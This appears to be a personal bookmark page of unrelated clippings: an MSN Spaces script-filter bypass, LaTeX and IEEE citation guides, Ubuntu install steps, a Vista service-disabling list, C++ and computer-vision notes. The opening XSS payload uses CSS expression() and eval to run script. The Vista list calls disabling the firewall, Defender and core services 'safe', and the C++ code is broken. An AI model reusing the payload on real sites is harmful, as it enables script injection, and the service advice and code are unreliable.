如何突破MSN Spaces的JavaScript防线

如何突破MSN Spaces的JavaScript防线 - MSN space技巧发布 - MSN Space 交流论坛 | MSN Space 社区 | 论
MSN Spaces允许用户在编辑文章或者HTML模块的时候直接加入一些HTML标签，同时为了确保安全性，对可能执行脚本的代码作了严格的过滤。
-不过凡事总有百密一疏的时候，下面的这段代码演示了如何突破Spaces的脚本防线：
<u style="display:none;width:expression(eval(innerText+';color:0'))">
alert('http://0x2e.blogspot.com');outerHTML='';
</u>

实际上在下划线标签之中，你填写的内容都被作为脚本执行。遗憾的是这种办法由于IE Expression的限制，只对IE有效。

LaTeX 教學

大家來學 LaTeX, latex123: "By Edward G.J. Lee 李果正"
Tex-Math: by Bernhard Keil

Basic Mathematical Morphology

IplConvKernel* element = cvCreateStructuringElementEx(73,73,36.5,36.5,CV_SHAPE_ELLIPSE,NULL);
cvMorphologyEx(thresimage,segimage,tempimage,element,CV_MOP_OPEN,1);

The Kalman Filter

The Kalman Filter
An optimal recursive data processing algorithm

Reference Guide: IEEE Style

Reference Guide: IEEE Style

BOOKS

[1]	S. M. Hemmingsen, Soft Science. Saskatoon: University of Saskatchewan Press, 1997.
[2]	A. Rezi and M. Allam, "Techniques in array processing by means of transformations," in Control and Dynamic Systems, Vol. 69, Multidimensional Systems, C. T. Leondes, Ed. San Diego: Academic Press, 1995, pp. 133-180.
[3]	D. Sarunyagate, Ed., Lasers. New York: McGraw-Hill, 1996.

PERIODICALS

[3]	G. Liu, K. Y. Lee, and H. F. Jordan, "TDM and TWDM de Bruijn networks and shufflenets for optical communications," IEEE Transactions on Computers, vol. 46, pp. 695-701, June 1997.
[4]	J. R. Beveridge and E. M. Riseman, "How easy is matching 2D line models using local search?" IEEE Transactions on Pattern Analysis and Machine Intelligence, vol. 19, pp. 564-579, June 1997.

ARTICLES FROM PUBLISHED CONFERENCE PROCEEDINGS

The word in before the conference title is not italicized.

[5]	N. Osifchin and G. Vau, "Power considerations for the modernization of telecommunications in Central and Eastern European and former Soviet Union (CEE/FSU) countries," in Second International Telecommunications Energy Special Conference, 1997, pp. 9-16.
[6]	S. Al Kuran, "The prospects for GaAs MESFET technology in dc-ac voltage conversion," in Proceedings of the Fourth Annual Portable Design Conference, 1997, pp. 137-142.

PAPERS PRESENTED AT CONFERENCES, BUT UNPUBLISHED

[7]	H. A. Nimr, "Defuzzification of the outputs of fuzzy controllers," presented at 5th International Conference on Fuzzy Systems, Cairo, Egypt, 1996.

REPORTS (technical reports, internal reports, memoranda)

Provide number and month if available.

[8]	K. E. Elliott and C. M. Greene, "A local adaptive protocol," Argonne National Laboratory, Argonne, France, Tech. Rep. 916-1010-BB, 1997.

THESIS or DISSERTATION

"Ph.D. dissertation," but "M.S. thesis."

[9]	H. Zhang, "Delay-insensitive networks," M.S. thesis, University of Waterloo, Waterloo, ON, Canada, 1997.

MANUAL

[10]	Bell Telephone Laboratories Technical Staff, Transmission System for Communications, Bell Telephone Laboratories, 1995.

CLASS NOTES

[10]	"Signal integrity and interconnects for high-speed applications," class notes for ECE 497-JS, Department of Electrical and Computer Engineering, University of Illinois at Urbana-Champaign, Winter 1997.

PRIVATE COMMUNICATION

[11]	T. I. Wein (private communication), 1997.

FROM THE INTERNET

[12]	Computational, Optical, and Discharge Physics Group, University of Illinois at Urbana-Champaign, "Hybrid plasma equipment model: Inductively coupled plasma reactive ion etching reactors," December 1995, http://uigelz.ece.uiuc.edu/Projects/HPEM-ICP/index.html.
[13]	D. Poelman (dirk_poelman@rug.ac.be), "Re: Question on transformerless power supply," Usenet post to sci.electronics.design, July 4, 1997.

CATALOG

[14]	Catalog No. MWM-1, Microwave Components, M. W. Microwave Corp., Brooklyn, NY.

APPLICATION NOTES

[15]	Hewlett-Packard, Appl. Note 935, pp. 25-29.

PATENTS

[16]	K. Kimura and A. Lipeles, "Fuzzy Controller Component," U. S. Patent 14,860,040, December 14, 1996.

Ubuntu桌面入門指南 - Ubuntu中文

Ubuntu桌面入門指南 - Ubuntu中文

安裝單個軟體包文件

安裝程式的首選方式是通過本章所介紹的軟體包管理器。然而，雖然 Ubuntu 軟體包庫非常大，但也有可能您想要安裝的軟體包並不在 Ubuntu 庫中。如果這樣的話，您也可以從網站下載並安裝文件。 在您安裝文件之前確認您所下載的文件來自一個安全的源是重要的。 有許多不同類型的 Linux 軟體包文件。它們多數與特定 Linux 發行版的軟體管理器相關聯。如 Debian 軟體包 文件 (.deb 文件)、Redhat 軟體包管理器 文件 (.rpm 文件) 和 Tarballs (.tar 文件)。 本部分內容將介紹如何安裝這些單個文件。 無法保證這些文件將與您系統相容，如果您安裝這些文件的話，您也將無法得到安全更新。有鑒於此，如果您想安裝程式的話，請儘可能通過軟體包管理器來安裝由 Ubuntu 自身提供的應用程式軟體包

2.5.1. 安裝/卸載 .deb 文件

這些是Debian 軟體包。這些與 Ubuntu 相關的軟體包文件使用 .deb 尾碼是因為 Ubuntu 與 Debian GNU/Linux 發行版有著緊密的關係。您將需要管理許可權來安裝 .deb 文件 (參見 第1.3.3節 ― root 用戶和 sudo 命令)。

• 要安裝 .deb 文件，簡單地雙擊它，然後選擇 安裝軟體包 即可。
• 或者，您也可以打開一個終端並輸入：
  • sudo dpkg -i package_file.deb 來安裝 .deb 文件。
• 如需卸載 .deb 文件，在您軟體包管理器中反選它，或輸入：
  • sudo dpkg -r package_name

...

Windows Vista: Disabling Services - Neowin Forums

Windows Vista: Disabling Services - Neowin Forums

I am not responsible for what you do to your Vista installation.

I suggest we use this thread to suggest to each other which services can be turned off, because we do not need them. This is a work in progress. I did not follow this post 100% and neither should you. Change services according to your computer config. If you do not have one of these services, chances are you already disabled the option in 'Turn Windows features on or off' or you are running a different edition of Windows Vista. Setting an Automatic service to Disabled will make sure it will not start when you boot up. Setting a Manual service to Disabled has no effect on performance and will only stop Vista from launching the service when it the OS believes it is needed.
Note: the default options are for Vista Ultimate. Some are obviously different.

A good application for saving presets of your services is: http://p-nand-q.com/download/pserv_cpl.html

Start > services.msc > Enter
Winkey + R > services.msc > Enter

Application Experience - Default: Automatic (Started)
- Safe: Leave as is

Application Information - Default: Manual (Started)
- Safe: Leave as is

Application Layer Gateway Service - Default: Manual
- Used for certain software services | If this service is started already, leave on Manual (Safe) | If it is not, set to Disabled

Application Management - Default: Manual
- If you don't "deploy software through Group Policy", Set to Disabled

Background Intelligent Transfer Service - Default: Automatic (Delayed Start) (Started)
- Safe: Leave as is (unless you don't use Windows Update)

Base Filtering Engine - Default: Automatic (Started)
- Disabling this service reduces security of the OS (needed for firewall, some unusual protocols, remote access, and internet connection sharing), Safe: Leave as is

Block Level Backup Engine Service - Default: Manual
- Since this service is on manual and does not start, it may be needed at some point, but it isn't a critical service

Certificate Propagation - Default: Manual
- If you don't use Smart Cards, Safe: Set to Disabled

CNG Key Isolation - Default: Manual
- This service may be needed if you are on Wired/Wireless Lan Autoconfig Since and will be using EAP (Extensible Authentication Protocol), Otherwise: Set to Disabled

COM+ Event System - Default: Automatic (Started)
- Responsible for many things including the Backup and Restore Center, Safe: Leave as is

COM+ System Application - Default: Manual
- Since this service is on manual and does not start, it may be needed at some point, but it isn't a critical service

Computer Browser - Default: Automatic
- If you aren't on a network, Safe: Set to Disabled

Cryptographic Services - Default: Automatic (Started)
- Needed for some connections/websites (Microsoft/Windows Update?), confirms signatures of windows files, Safe: Leave as is

DCOM Server Process Launcher - Default: Automatic (Started)
- Safe: Leave as is

Desktop Window Manager Session Manager - Default: Automatic (Started)
- If you don't use the advanced Aero Glass transparency interface, Safe: Set to Disabled

DFS Replication - Default: Manual
- If you aren't on a network, Safe: Set to Disabled

DHCP Client - Default: Automatic (Started)
- Typically needed for most Internet Connections (maybe not if you have a static IP), Safe: Leave as is

Diagnostic Policy Service - Default: Automatic (Started)
- If you don't care for Windows finding solutions to problems (including fixing internet connection problems in vista and ie7), Safe: Set to Disabled

Diagnostic Service Host - Default: Manual
- If you don't care for Windows finding solutions to problems, Safe: Set to Disabled

Diagnostic System Host - Default: Manual (Started)
- If you don't care for Windows finding solutions to problems, Safe: Set to Disabled

Distributed Link Tracking Client - Default: Automatic (Started)
- If you don't have links between NTFS Files, Safe: Set to Disabled

Distributed Transaction Coordinator - Default: Manual
- Since this service is on manual and does not start, it may be needed at some point, but it isn't a critical service (Set to Disabled)

DNS Client - Default: Automatic (Started)
- Needed once in a while, Safe: Leave as is

Extensible Authentication Protocol - Default: Manual
- Disabling this service reduces security of the OS (needed for firewall, some unusual protocols, remote access, and internet connection sharing), Safe: Leave as is

Fax - Default: Manual
- If you don't use a fax or a scanner, Safe: Set to Disabled

Function Discovery Provider Host - Default: Manual (Started)
- If not on a network (needed for certain uncommon network components), Safe: Set to Disabled

Function Discovery Resource Publication - Default: Automatic (Started)
- If not on a network (needed for certain uncommon network components), Safe: Set to Disabled

Group Policy Client - Default: Automatic (Started)
- Safe: Leave as is (can technically be disabled if not used, will look into possible problems later)

Health Key and Certificate Management - Default: Manual
- Safe: Set to Disabled

Human Interface Device Access - Default: Manual
- If you don't use the extra buttons on your keyboard or use the software for it, Safe: Set to Disabled

IKE and AuthIP IPsec Keying Modules - Default: Automatic
- Safe: Set to Disabled

Infrared Monitor service - Default: Automatic (Started)
- If you don't have/use infrared, Safe: Set to Disabled

Interactive Services Detection - Default: Manual
- Since this service is on manual and does not start, it may be needed at some point, but it isn't a critical service (Set to Disabled)

Internet Connection Sharing (ICS) - Default: Disabled
- Possibly not needed (will look into), Safe: Leave as is

IP Helper - Default: Automatic (Started)
- If you don't want IPv6 support, Safe: Set to Disabled

IPsec Policy Agent - Default: Automatic (Started)
- Possibly not needed (will look into), Safe: Leave as is

KtmRM for Distributed Transaction Coordinator - Default: Automatic (Delayed Start)
- Possibly not needed (will look into), Safe: Leave as is

Link-Layer Topology Discovery Mapper - Default: Manual
- Since this service is on manual and does not start, it may be needed at some point, but it isn't a critical service

Microsoft .Net Framework NGEN v.20.50727_X64/X86 - Default: Manual
- Safe: Leave as is

Microsoft iSCSI Initiator Service - Default: Manual
- If you don't use iSCSI, Safe: Set to Disabled

Microsoft Software Shadow Copy Provider - Default: Manual
- Since this service is on manual and does not start, it may be needed at some point, but it isn't a critical service

Multimedia Class Scheduler - Default: Automatic (Started)
- Needed for Windows Audio, Safe: Leave as is

Net.Tcp Port Sharing Service - Default: Disabled
- Safe: Leave as is

Netlogon - Default: Manual
- Since this service is on manual and does not start, it may be needed at some point, but it isn't a critical service (Set to Disabled)

Network Access Protection Agent - Default: Manual
- Safe: Set to Disabled

Network Connections - Default: Manual (Started)
- Unless you aren't using the internet, Safe: Leave as is

Network List Service - Default: Automatic (Started)
- Unless you aren't using the internet, Safe: Leave as is

Network Location Awareness - Default: Automatic (Started)
- Unless you aren't using the internet, Safe: Leave as is

Network Store Interface Service - Default: Automatic (Started)
- Unless you aren't using the internet, Safe: Leave as is

Offline Files - Default: Automatic (Started)
- Unless you use them, Safe: Set to Disabled

Parental Controls - Default: Manual
- Unless you use them, Safe: Set to Disabled

Peer Name Resolution Protocol - Default: Manual
- Unless you use Windows Meetings, Safe: Set to Disabled

Peer Networking Grouping - Default: Manual
- Unless you use such applications, Safe: Set to Disabled

Peer Networking Identity Manger - Default: Manual
- Safe: Set to Disabled

Performance Logs & Alerts - Default: Manual
- Needed for many features of Windows, Safe: Leave as is

Plug and Play - Default: Automatic (Started)
- Unless you don't connect various devices often, Safe: Leave as is

PnP-X IP Bus Enumerator - Default: Manual
- Since this service is on manual and does not start, it may be needed at some point, but it isn't a critical service (Set to Disabled)

PNRP Machine Name Publication Service - Default: Manual
- Safe: Set to Disabled

Portable Device Enumerator Service - Default: Automatic (Started)
- If you do not own a portable device, Safe: Set to Disabled

Print Spooler - Default: Automatic (Started)
- If no printer (including virtual ones) is present on the computer, Safe: Set to Disabled

Problem Reports and Solutions Control Panel Support - Default: Manual
- If you don't use it, Safe: Set to Disabled

Program Compatibility Assistant Service - Default: Automatic (Started)
- If you don't use the Program Compatibility Assistant, Safe: Set to Disabled

Protected Storage - Default: Manual
- If you don't save passwords, Safe: Set to Disabled

Quality Windows Audio Video Experience - Default: Manual
- If you don't need it, Safe: Set to Disabled

ReadyBoost - Default: Automatic (Started)
- If you don't use USB drives as a memory boost, Safe: Set to Disabled

Remote Access Auto Connection Manager - Default: Manual
- If you won't be connecting to your computer remotely, Safe: Set to Disabled

Remote Access Connection Manger - Default: Manual (Started)
- If you won't be connecting to your computer remotely, Safe: Set to Disabled

Remote Procedure Call (RPC) - Default: Automatic (Started)
- Vital, Safe: Leave as is

Remote Procedure Call (RPC) Locator - Default: Manual
- Possibly not needed (will look into), Safe: Leave as is

Remote Registry - Default: Manual
- Recommended: Set to Disabled

Routing and Remote Access - Default: Disabled
- Typically not needed, Safe: Leave as is

Secondary Logon - Default: Automatic (Started)
- If you are only running vista with one user, Safe: Set to Disabled

Security Accounts Manager - Default: Automatic (Started)
- If you don't use Global Policy Editor, Safe: Set to Disabled

Security Center - Default: Automatic (Delayed Start) (Started)
- If you don't use the Security Center, Safe: Set to Disabled

Server - Default: Automatic (Started)
- If you don't plan to send files or print them over a network, Safe: Set to Disabled

Shell Hardware Detection - Default: Automatic (Started)
- If you don't use Autoplay, Safe: Set to Disabled

SL UI Notification Service - Default: Manual
- Not required on most setups (needed for Tablet Input Panel) but may break the control panel, Safe: Leave as is

Smart Card - Default: Manual
- If you don't use Smart Cards, Safe: Set to Disabled

Smart Card Removal Policy - Default: Manual
- If you don't use Smart Cards, Safe: Set to Disabled

SNMP Trap - Default: Manual
- If not on a network with SNMP, Safe: Set to Disabled

Software Licensing - Default: Automatic (Started)
- Needed for the Control Panel and other parts of Windows to function (Tablet Input Panel for Tablets), Safe: Leave as is

SSDP Discovery - Default: Automatic (Started)
- If you don't have such devices, Set to Disabled

Superfetch - Default: Automatic (Started)
- Safe: Leave as is

System Event Notification Service - Default: Automatic (Started)
- Typically not needed (event log may display an error if disabled) Safe: Leave as is

Table PC Input Service - Default: Automatic (Started)
- If you don't have a tablet PC, Safe: Set to Disabled

Task Scheduler - Default: Automatic (Started)
- Needed for various Windows and 3rd Party Programs, Safe: Leave as is

TCP/IP NetBIOS Helper - Default: Automatic (Started)
- If you won't be sharing files between computers, Set to Disabled

Telephony - Default: Manual (Started)
- Needed for dial-up and certain DSL connections, Safe: Leave as is

Terminal Services - Default: Automatic (Started)
- If you don't plan to administer remote computers, Safe: Set to Disabled

Terminal Services Configuration - Default: Manual
- If you don't plan to administer remote computers, Safe: Set to Disabled

Terminal Services UserMode Port Redirector - Default: Manual
- If you don't plan to administer remote computers, Safe: Set to Disabled

Themes - Default: Automatic (Started)
- If you are using Windows Classic, Safe: Set to Disabled

Thread Ordering Server - Default: Manual
- Safe: Leave as is

TPM Base Services - Default: Manual
- Used for hardware certificates, Safe: Leave as is

UPnP Device Host - Default: Automatic (Started)
- If you don't use UPnP, Safe: Set to Disabled

User Profile Service - Default: Automatic (Started)
- Safe: Leave as is

Virtual Disk - Default: Manual
- Since this service is on manual and does not start, it may be needed at some point, but it isn't a critical service

Volume Shadow Copy - Default: Manual
- Needed for some integrated backups, since this service is on manual and does not start, it may be needed at some point, but it isn't a critical service

WebClient - Default: Automatic (Started)
- If you don't use web folders, Safe: Set to Disabled

Windows Audio - Default: Automatic (Started
- Safe: Leave as is

Windows Audio Endpoint Builder - Default: Automatic (Started)
- Safe: Leave as is

Windows Backup - Default: Manual
- If you don't use it, Safe: Set to Disabled, Recommended: Leave as is

Windows CardSpace - Default: Manual
- If you don't use it, Safe: Set to Disabled

Windows Color System - Default: Manual
- Safe: Leave as is

Windows Connect Now - Config Registrat - Default: Manual
- Safe: Set to Disabled

Windows Defender - Default: Automatic (Started)
- If you don't use it, Safe: Set to Disabled, Recommended: Leave as is

Windows Driver Foundation - User-mode Driver Framework - Default: Manual
- Safe: Leave as is

Windows Error Reporting Service - Default: Automatic
- If you don't use it, Safe: Set to Disabled, Recommended: Leave as is

Windows Event Collector - Default: Manual
- Safe: Leave as is

Windows Event Log - Default: Automatic (Started)
- Safe: Leave as is

Windows Firewall - Default: Automatic (Started)
- If you don't use it, Safe: Set to Disabled, Recommended: Leave as is

Windows Image Acquisition (WIA) - Default: Manual
- If you don't have a scanner/camera, Safe: Set to Disabled

Windows Installer - Default: Manual
- Safe: Leave as is

Windows Management Instrumentation - Default: Automatic (Started)
- Safe: Leave as is

Windows Media Center Extender Service - Default: Disabled
- Safe: Leave as is

Windows Media Center Receiver Service - Default: Manual
- If you don't use it, Safe: Set to Disabled

Windows Media Center Scheduler Service - Default: Manual
- If you don't use it, Safe: Set to Disabled

Windows Media Center Service Launcher - Default: Automatic (Delayed Start) (Started)
- If you don't use it, Safe: Set to Disabled

Windows Media Player Network Sharing Service - Default: Manual
- If no portable device is owned, Set to Disabled

Windows Modules Installer - Default: Manual
- Certain Windows Updates require it, Safe: Leave as is

Windows Presentation Foundation Font Cache 3.0.0.0 - Default: Manual
- Safe: Leave as is

Windows Remote Management (WS-Management) - Default: Manual
- If you don't plan to administer remote computers, Safe: Set to Disabled

Windows Search - Default: Automatic (Started)
- If you don't use it, Safe: Set to Disabled, Recommended: Leave as is

Windows Time - Default: Automatic (Started)
- If you don't plan to sync the clock with a server, Safe: Set to Disabled

Windows Update - Default: Automatic (Delayed Start) (Started)
- If you don't use it, Safe: Set to Disabled, Recommended: Leave as is

WinHTTP Web Proxy Auto-Discovery Service - Default: Manual
- Almost always not needed, Safe: Set to Disabled

Wired/WLAN AutoConfig - Default: Manual
- If you don't use it, Safe: Set to Disabled

WMI Performance Adapter - Default: Manual
- Safe: Leave as is

Workstation - Default: Automatic (Started)
- Unless you are having a major lag during boot time or if you plan on being on a LAN, Safe: Leave as is

Credit to : Slimy

Quick std::vector question - GameDev.Net Discussion Forums

Quick std::vector question - GameDev.Net Discussion Forums: "This is a good place to tell you to learn about smart pointers. They are objects that act like pointers, and logically 'own' the object, and are responsible for cleaning them up automatically. std::auto_ptr's are part of the standard library, but you can't use these in any of the standard containers. For a nice smart pointer (they are reference-counted smart pointers), learn about the boost.shared_ptr library."

#include 
#include 
#include 

class bar
{
   public:
   bar() {std::cout << "bar constructor called" << std::endl;}
   ~bar() {std::cout << "bar destructor called" << std::endl;}
};


class foo
{
   boost::shared_ptr i;

   public:
   foo();
   void doSomethingWithTheBar();
};


foo::foo() : i(new bar)
{
   std::cout << "newing a bar" << std::endl;
   std::cout << "bar's address: " << i << std::endl;

}

void foo::doSomethingWithTheBar()
{
   std::cout << "Do something with bar at address: " << i << std::endl;
}


int main()
{
   std::vector vec;
   {
       foo f;
       vec.push_back(f);
   }
   vec[0].doSomethingWithTheBar();
   std::cout << "It's ok this time, as the memory at that address hasn't been deleted" << std::endl;
}

YouTube - Chopin ValseNo14:Japanese 8yo play piano

YouTube - Chopin ValseNo14:Japanese 8yo play piano
徹底的輸了

3D Structure from 2D Motion

Tony Jebara, Ali Azarbayejani and Alex Pentland
MIT Media Laboratory, Cambridge MA, 02139
{ jebara, ali, sandy }@media.mit.edu

• Introduction
  • The Structure from Motion Task
• Applications
• SfM Origins: Photogrammetry and Early Vision
• Linear Approaches
  • Perspective Camera Models
  • Algebraic Projective Geometry
  • Epipolar Geometry
  • The Trifocal Tensor
  • Application to Motion
  • Tomasi-Kanade Factorization
• Issues for Motion Sequences
  • Probabilistic Feature Tracking
  • Causality and Recursion
  • Small Baselines
• Nonlinear Approaches
  • Batch Techniques
  • Filtered and Recursive Multi-Frame Techniques
• The Proposed Nonlinear Recursive Framework
  • The Dynamical System
  • Representation
    • Internal Geometry and Projection Model
    • 3D Structure Model
    • 3D Motion Model - Translation
    • 3D Motion Model - Rotation
    • The Issue of Scale
  • The EKF Implementation
  • Biased Measurements
• Experiments
  • Experiment 1: Egomotion, Models from Video
  • Experiment 2: Object Tracking - Head
  • Independent Evaluation
• Extending the Framework: Feedback and Feedforward Tracking
  • Feeding Back SfM to Low Level Vision
  • Feeding Forward SfM to High Level Vision
• Practical Experience in Commercial Post-Production Applications
• Concluding Remarks
• Acknowledgments
• Bibliography
• About this document ...

Incremental auto-calibration of a single camera — Web Portal

Incremental auto-calibration of a single camera — Web Portal
A continuous and adaptive estimation of the vanishing points over thousands of images suppresses the amount of noise in their positions.

Project ideas

Incremental auto-calibration of a single fixed camera using facial images
Background:

1. Surveillance:
   
2. Moving objects are small
3. Not sure of critical motion
   

Goal

1. Estimate camera intrinsic parameters accurately
   

Technique

1. Facial Detection
2. Focal length estimation from 2 views
   
3. Incremental estimation from multiple views (f' = fold + r fnew)
   

To check:

1. Bias change by changing different R,t
   

UIUC Image Database : Car Detection

UIUC Image Database : Car Detection
This database contains images of side views of cars for use in evaluating object detection algorithms. The images were collected at UIUC by Shivani Agarwal, Aatif Awan and Dan Roth, and were used in the experiments reported in [1], [2].

The download package contains the following:

• 1050 training images (550 car and 500 non-car images)
• 170 single-scale test images, containing 200 cars at roughly the same scale as in the training images
• 108 multi-scale test images, containing 139 cars at various scales
• Evaluation files
• README file

MFC Programming - CoderSource.net

MFC Programming - CoderSource.net
Good Tutorial

lapack blas fortran windows win32 binaries download headers header files C C++

lapack blas fortran windows win32 binaries download headers header files C C++
used by SBA

Math 121: Linear Algebra and Applications

Math 121: Linear Algebra and Applications
Textbook: Linear Algebra, by Friedberg, Insel and Spence, Fourth Edition.

論文寫作

以下這些字最好換掉
affect→influence、impact
A agree with B→A correlate with B、A correspond to B
carry out→implement、execute、promulgate
change→modify、adjust、alter、vary
check或prove→verify、confirm、demonstrate
complicated→complex、cumbersome
consider→evaluate、access
correct / incorrect→precise / imprecise、accurate / inaccurate
depends on→relies on、hinges on
different→various、varied、varying、distinct
find→obtain、derive、attain、locate、identify
help→assist、facilitate、guide、direct
important→critical、crucial、essential、pertinent、relevant、
significant、vital
improve→enhance、upgrade、elevate
is made of→consists of、comprises of
little或few→slightly、seldom、negligibly
make clear→elucidate、clarify
make sure→assure、ensure
meet(滿足)→satisfy、fulfill、adhere to
much或greatly或strongly→markedly、significantly、substantially
problem→obstacle、limitation、restriction、shortcoming、drawback、phenomenon
needs→requires、stipulates
proposes→presents、describes
realize→comprehend、perceive、understand
solve→alleviate、modify、resolve、eliminate、eradicate
suitable→appropriate、adequate
tries→attempts、aspires、aims
usually→normally、typically、generally

Project Meeting

Todo:

1. Calibrate camera
2. Rearrange code:
1. New Algorithm
2. UCLA SIFT
3. SBA
   
3. Write Technical Report
1. Methods
2. Experimental results
1. facts that affact calibration?
1. Distance
2. Angular Baseline
   
4. Library

Ideas:

1. Bundle Adjustment -> Calibration
2. Algorithm:
1. UCLA SIFT
2. Manually remove outliers
3. Calculate all fundamental matrices
   
4. SBA -> refine F matrices
5. calibration
   
3. Ask geometrix focal length
   

Marc Pollefeys' research page

Marc Pollefeys' research page

YouTube - Air Muscle powered Robot Leg

YouTube - Air Muscle powered Robot Leg
Also called Mckibben muscle